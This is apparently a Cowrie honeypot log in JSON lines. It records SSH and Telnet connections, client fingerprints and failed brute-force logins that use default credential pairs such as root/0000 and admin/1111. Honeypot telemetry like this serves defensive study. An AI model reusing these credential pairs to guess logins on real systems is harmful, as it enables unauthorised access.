{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:22.444430Z","src_ip":"176.65.132.254","session":"9188beea711d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43198,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72fa74d91ab","protocol":"ssh","message":"New connection: 176.65.132.254:43198 (10.17.0.5:22) [session: c72fa74d91ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:24.849874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:24.859647Z","src_ip":"176.65.132.254","session":"c72fa74d91ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:24.942491Z","src_ip":"176.65.132.254","session":"c72fa74d91ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.203795Z","src_ip":"176.65.132.254","session":"c72fa74d91ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60286,"dst_ip":"10.17.0.5","dst_port":23,"session":"301de61ffda9","protocol":"telnet","message":"New connection: 62.210.97.77:60286 (10.17.0.5:23) [session: 301de61ffda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.275475Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33070,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b84f472239","protocol":"telnet","message":"New connection: 65.60.27.33:33070 (10.17.0.5:23) [session: c6b84f472239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.672341Z"}
{"eventid":"cowrie.session.closed","duration":34.382697343826294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.784342Z","src_ip":"62.210.97.77","session":"38751b3ea2ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":47258,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc138339337","protocol":"ssh","message":"New connection: 156.232.13.218:47258 (10.17.0.5:22) [session: ddc138339337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.870789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.875335Z","src_ip":"156.232.13.218","session":"ddc138339337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:25.949184Z","src_ip":"156.232.13.218","session":"ddc138339337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b72198224c","protocol":"telnet","message":"New connection: 65.60.27.33:34572 (10.17.0.5:23) [session: e2b72198224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:26.084736Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:26.281611Z","src_ip":"156.232.13.218","session":"ddc138339337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:26.288359Z","src_ip":"176.65.132.254","session":"c72fa74d91ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.249043703079224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:26.765016Z","src_ip":"62.210.97.77","session":"a7781434fb09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:27.355750Z","src_ip":"156.232.13.218","session":"ddc138339337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33064,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6cca97fc94b","protocol":"telnet","message":"New connection: 65.60.27.33:33064 (10.17.0.5:23) [session: d6cca97fc94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:27.726022Z"}
{"eventid":"cowrie.session.closed","duration":39.68897247314453,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:27.889370Z","src_ip":"62.210.97.77","session":"20ed7a70e7da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ad87541850","protocol":"telnet","message":"New connection: 62.210.97.77:60288 (10.17.0.5:23) [session: d1ad87541850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.337670Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6feb08de570","protocol":"telnet","message":"New connection: 62.210.97.77:60294 (10.17.0.5:23) [session: a6feb08de570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.389889Z"}
{"eventid":"cowrie.session.closed","duration":47.25616955757141,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.501918Z","src_ip":"65.60.27.33","session":"08debcd17e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49382,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dec877a5d39","protocol":"telnet","message":"New connection: 62.210.97.77:49382 (10.17.0.5:23) [session: 4dec877a5d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.615129Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43224,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a70d89dc626","protocol":"ssh","message":"New connection: 176.65.132.254:43224 (10.17.0.5:22) [session: 6a70d89dc626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.755262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.760034Z","src_ip":"176.65.132.254","session":"6a70d89dc626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.847656Z","src_ip":"176.65.132.254","session":"6a70d89dc626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.606744050979614,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:28.916696Z","src_ip":"65.60.27.33","session":"3aa1ed486eab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:29.537193Z","src_ip":"176.65.132.254","session":"6a70d89dc626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49388,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca314b2ce43","protocol":"telnet","message":"New connection: 62.210.97.77:49388 (10.17.0.5:23) [session: aca314b2ce43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:29.696985Z"}
{"eventid":"cowrie.session.closed","duration":36.09477949142456,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:30.026819Z","src_ip":"62.210.97.77","session":"31a7a4d68002","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94403648376465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:30.296388Z","src_ip":"62.210.97.77","session":"591ca3dfbfea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:30.636990Z","src_ip":"176.65.132.254","session":"6a70d89dc626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d330b1b1a2","protocol":"telnet","message":"New connection: 62.210.97.77:49402 (10.17.0.5:23) [session: e2d330b1b1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:31.195688Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.10.138.77","src_port":36537,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6d34365258","protocol":"telnet","message":"New connection: 177.10.138.77:36537 (10.17.0.5:23) [session: fb6d34365258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:31.531226Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c46951151da","protocol":"telnet","message":"New connection: 134.209.8.29:34538 (159.203.135.109:23) [session: 7c46951151da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:32.530818Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51408,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee2020f0aba","protocol":"ssh","message":"New connection: 176.65.132.254:51408 (10.17.0.5:22) [session: aee2020f0aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:32.671463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:32.675609Z","src_ip":"176.65.132.254","session":"aee2020f0aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49412,"dst_ip":"10.17.0.5","dst_port":23,"session":"7274b41b13b1","protocol":"telnet","message":"New connection: 62.210.97.77:49412 (10.17.0.5:23) [session: 7274b41b13b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:32.700179Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:32.757346Z","src_ip":"176.65.132.254","session":"aee2020f0aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.3630242347717285,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.035262Z","src_ip":"65.60.27.33","session":"c6b84f472239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.314408302307129,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.040294Z","src_ip":"65.60.27.33","session":"d6cca97fc94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42733836174011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.258809Z","src_ip":"62.210.97.77","session":"c2922cd1cabb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.267293Z","src_ip":"176.65.132.254","session":"aee2020f0aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.76358461380005,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.652280Z","src_ip":"62.210.97.77","session":"a7c899a0f454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15867590904236,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.670774Z","src_ip":"62.210.97.77","session":"e17824a28dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.06595420837402,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:33.920726Z","src_ip":"62.210.97.77","session":"0c8ed93e4810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:34.352034Z","src_ip":"176.65.132.254","session":"aee2020f0aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.247085094451904,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:34.486965Z","src_ip":"62.210.97.77","session":"2053534cb795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.561625242233276,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:34.996901Z","src_ip":"62.210.97.77","session":"4c02e385e6be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51424,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf229798d81","protocol":"ssh","message":"New connection: 176.65.132.254:51424 (10.17.0.5:22) [session: 8bf229798d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:36.728544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:36.733566Z","src_ip":"176.65.132.254","session":"8bf229798d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:36.815482Z","src_ip":"176.65.132.254","session":"8bf229798d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:37.064165Z","src_ip":"176.65.132.254","session":"8bf229798d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.61063098907471,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:37.068109Z","src_ip":"65.60.27.33","session":"da3bfc677488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.741244316101074,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:37.804682Z","src_ip":"38.54.119.93","session":"fade7d7df328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:38.149415Z","src_ip":"176.65.132.254","session":"8bf229798d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ef873d2ced","protocol":"telnet","message":"New connection: 62.210.97.77:48288 (10.17.0.5:23) [session: d8ef873d2ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:38.777875Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48300,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f8c289e3f8","protocol":"telnet","message":"New connection: 62.210.97.77:48300 (10.17.0.5:23) [session: 97f8c289e3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:38.846980Z"}
{"eventid":"cowrie.session.closed","duration":42.6025869846344,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:39.508320Z","src_ip":"65.60.27.33","session":"6ea8570dd2da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51436,"dst_ip":"10.17.0.5","dst_port":22,"session":"80a8fb7293b5","protocol":"ssh","message":"New connection: 176.65.132.254:51436 (10.17.0.5:22) [session: 80a8fb7293b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:40.338548Z"}
